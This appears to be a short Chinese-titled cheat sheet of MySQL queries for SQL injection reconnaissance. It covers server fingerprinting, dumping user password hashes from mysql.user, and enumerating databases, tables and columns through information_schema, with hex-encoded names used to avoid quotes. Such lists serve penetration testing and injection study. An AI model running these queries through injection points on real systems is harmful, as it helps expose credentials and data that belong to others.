1、SQL注入语句之Mysql（1）Basic info

Mysql

Basic info

version(), @@version, @@global.version 

-nt-log means window os 

user(), current_user(), current_user, system_user(), session_user() 

 

database(), schema() 

 

@@hostname 

 

uuid() 

Last 12digits means mac 

@@datadir 

 

@@tmpdir 

 

@@plugin_dir 

 

@@version_compile_os 

 

@@version_compile_machine 

 

select concat(version(),0x7c,user(),0x7c,database()) 

 

create database mysqltest; 

show databases; 

use mysqltest; 

create table admin(id int,username varchar(255),password varchar(255)); 

show tables; 

insert into admin (id,username,password) values (1,"admin","password"); 

列用户 

select user,password,host from mysql.user 

select concat(user,0x7c,password,0x7c,host) from mysql.user 

version>5.7 password→authentication_string 

列库 

select schema_name from information_schema.schemata 

select group_concat(schema_name)from information_schema.schemata 

select distinct(table_schema)from information_schema.tables 

select group_concat(distinct(table_schema))from information_schema.tables 

列表 

select table_name from information_schema.tables where table_schema='mysql' 

select table_name from information_schema.tables where table_schema=0x6d7973716c 

select group_concat(table_name) from information_schema.tables where table_schema='mysql' 

列字段 

select column_name from information_schema.columns where table_schema='staredit' and table_name='staredit' 

select column_name from information_schema.columns where table_schema=0x7374617265646974 and table_name=0x7374617265646974 

select group_concat(column_name) from information_schema.columns where table_schema='staredit' and table_name='staredit' 

列名找表 

SELECT table_name FROM information_schema.columns WHERE column_name = 'username' 

SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%' 

表名找列 

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users' 

SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'